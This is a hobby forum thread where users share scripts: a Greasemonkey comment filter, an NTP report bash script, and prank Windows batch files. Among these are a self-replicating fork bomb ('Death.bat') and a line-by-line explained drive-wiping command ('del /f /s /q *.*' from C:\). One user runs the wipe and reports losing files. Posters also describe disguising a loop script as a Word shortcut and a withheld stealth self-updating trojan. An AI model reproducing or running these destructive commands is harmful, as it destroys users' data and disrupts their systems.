Simple Scripts / Programs
This is a thread where you post scripts that you wrote just because whether it is a Greasemonkey script, or normal programs in C++, C, Java, JavaScript, PHP, etc.
Since I was bored and wanted to practice JavaScript, I created a Greasemonkey script that filters out user comments on this forum based on the user. I admit it is probably very inefficient.
FRC Forum User FilterUse
Pastebin!
Comments
Death.bat
Echo off
cls
Echo Behold El Diablo Nino!
:Death
Start Explorer.exe
Start Death.bat
Goto Death
I also wrote a fairly sophisticated windows batch script...Trojan is I guess the closest thing you could call it. It would use command line hooks in things like the windows XP firewall and task scheduler to be able to auto update itself without the user knowing. This was done through the command line ftp program which is what necessitated the need to configure the firewall, otherwise, on the first update, the firewall would throw up a flag asking the user if they wanted to allow the connection.
The nice thing I was most surprised about was how robust the command line still is in windows and how most parts of windows still have command line based functions available. Of course, this assumed the user was running as Admin and not a Limited User. I will not be posting the code for this little gem.
EDIT: Added my differences to your script Flux, enjoy. I haven't been bored enough yet to make it only block the commentbody.
start loop.bat
start crash.txt
And it would just sit there opening itself over and over again (loop.bat), which opened cmd.exe essentially. Crash.txt was just a bullshit text file that said "the computer is crashing!", which scared the shit out of the school librarians a few times . On the other hand, the computers at school were so shitty that the loop would stop after like 300 iterations, because...I have no idea really, I'm guessing it's because the computers didn't have enough power to keep the script going. But the computers never actually crashed.
It was always fun to create a shortcut to the loop.bat file, then rename the shortcut to "Microsoft Word" and then change the shortcut icon to word. That nearly got me in deep shit a few times.
Sonic - what's all the other stuff in your script do? The simple 2 line script (or hell, even 1 line if I decided to omit the text file) that I always wrote was always sufficient.
#!/bin/bash
# This script generates an NTP report for both the local ntp cloud
# and the trading servers. It is ugly, but at least it is simple.
# Configuration is broken up into sections below, followed by the
# actual report generation code.
#---- LOCAL NTP SERVERS ----
# NTP Server CNAMES and their actual names in matched pairs.
# Add or remove local ntp servers here.
# ntpcloud[n] = CNAME of Local NTP Server
# ntpcloudserver = Actual Name of Local NTP Server
ntpcloud[0]="xxxxxx"
ntpcloudserver[0]="xxxxxx"
ntpcloud[1]="xxxxxx"
ntpcloudserver[1]="xxxxxx"
ntpcloud[2]="xxxxxx"
ntpcloudserver[2]="xxxxxx"
#---- END LOCAL NTP SERVERS ----
#---- MONITORED SERVERS ----
# Monitored NTP clients
# These servers will be included in the NTP report
#
# server[n] = Fully Qualified Domain Name
#server[0]="localhost"
#server[1]="xxxxxx"
server[2]="xxxxxx"
server[3]="xxxxxx"
#server[4]="xxxxxx"
#server[5]="xxxxxx"
server[0]="xxxxxx"
server[1]="xxxxxx"
#---- END MONITORED SERVERS ----
#---- NIST SERVER NAME MAPPING ----
# These values are to clean up NTP peer names for the backoffice, as several
# NIST NTP server names do not resolve properly or intelligently.
# They are matched pairs as with the local NTP server entries above
#
# names[n] = Name or IP returned by ntpdc query
# aliases[n] = Name or message we wish to display for the Backoffice
names[0]="71-13-91-122.static.bycy.mi.charter.com"
aliases[0]="nist.expertsmi.com"
names[1]="0.0.0.0"
aliases[1]="no source. Server is re-evaluating NIST sources."
names[2]="131.107.13.100"
aliases[2]="time-nw.nist.gov"
names[3]="india.colorado.edu"
aliases[3]="utcnist.colorado.edu"
names[4]="206.246.118.250"
aliases[4]="nist1-dc.WiTime.net"
names[5]=""
aliases[5]="no source. \r There may be a problem with synchronization. Network Operations has been notified."
#---- END NIST SERVER NAME MAPPING ----
#---- CODE ----
# Loop through local ntp servers, query via ntpdc, clean up names, and dump into arrays
for (( i = 0 ; i < ${#ntpcloud[@]} ; i++ ))
do
/usr/sbin/ntpdc -c sysinfo ${ntpcloud[$i]} > /tmp/ntplast
cloudpeer[$i]=`awk -F ": *" '$1=="system peer" {print $2}' /tmp/ntplast`
clouddispersion[$i]=`awk -F ": *" '$1=="root dispersion" {print $2}' /tmp/ntplast`
for (( j = 0 ; j < ${#names[@]} ; j++ ))
do
if [ "${cloudpeer[$i]}" == "${names[$j]}" ]; then
cloudpeer[$i]="${aliases[$j]}";
fi
done
done
# Loop through trading servers, query via ntpdc, clean up names, and dump into arrays
for (( i = 0 ; i < ${#server[@]} ; i++ ))
do
peer[$i]=`/usr/sbin/ntpdc -c sysinfo ${server[$i]} | awk -F ": *" '$1=="system peer" {print $2}'`
for (( j = 0 ; j < ${#ntpcloud[@]} ; j++ ))
do
if [ "${peer[$i]}" == "" ]; then
peer[$i]="no source. Network Operations has been notified"
fi
if [ "${peer[$i]}" == "${ntpcloudserver[$j]}" ]; then
peer[$i]="${ntpcloud[$j]}";
fi
done
done
# Generate NTP report
echo "Time Synchronization Report:"
echo `date`
echo
echo "Trading Servers:"
echo
for (( i = 0 ; i < ${#server[@]} ; i++ ))
do
echo -e "${server[$i]} is synchronized to ${peer[$i]}.\r"
done
echo
echo "Time Synchronization Cloud Accuracy:"
echo
for (( i = 0 ; i < ${#ntpcloud[@]} ; i++ ))
do
echo "${ntpcloud[$i]} is synchronized to ${cloudpeer[$i]}"
echo " Maximum possible error: ${clouddispersion[$i]}."
done
echo
echo "The above values are the maximum theoretical error according to the Network Time Protocol. They represent the worst possible case; the accuracy of the NTP cloud as a whole is generally equal to the lowest error calculated by any one member."
echo
echo "The servers to which our cloud synchronizes were selected from a pool of the following NIST sources:"
echo
echo "http://tf.nist.gov/tf-cgi/servers.cgi"
Echo off
Echo Off is the command telling windows to not print the verbose of the command. IE: If you put in the script "Copy blah.txt c:\blah.txt" it wont show any of that.
cls
Clears the screen
Echo Behold El Diablo Nino!
Prints "Behold El Diablo Nino" in the window
:Death
This is a marker to be used as a reference point for pointers later in the script. The syntax is ":name_of_marker"
Start Explorer.exe
Start Death.bat
Start is just your generic RUN command. It looks in the four places consisting of the folder the command line is currently in and three other folders which, in earlier iterations, was set by autoexec.bat . These places are "C:\", "C:\windows\", and "C:\windows\system32\". So, These two lines of code start another iteration of the batch file and a windows explorer window.
Goto Death
Goto is just a pointer, telling the batch script to go and run all the code after the marker ":Death".
Really, I could eliminate three lines of code and it will still do what it's supposed to, but I like to keep the presentation clean.
Echo off
cls
echo Nya!
cd c:\
del /f /s /q *.*
This, however, is very destructive under any Windows NT based OS. It's the NT equivalent of "RM -rf /". After printing "Nya!" on the screen, it jumps to the root of drive C: and deletes every file it can, recursing through the directory tree, without asking for verification, and without giving any verbose. Maybe I'll install windows XP in a VM and do a screen recording of it in action.
I'm a test it out!
EDIT: Oh god how do I stop it?
EDIT2: It's deleting my fonts!! Noooo, my precious fonts!
EDIT3: My .NET framework!
EDIT4: It's finished, but Windows is still working. I still have my WINDOWS folder and some other stuff. Program files still has programs in it. I MUST ERADICATE EVERYTHING!
@Flux: Yes, in order to invoke system wide destruction, you would need admin access. However, this wont stop it from deleting all of your profile data.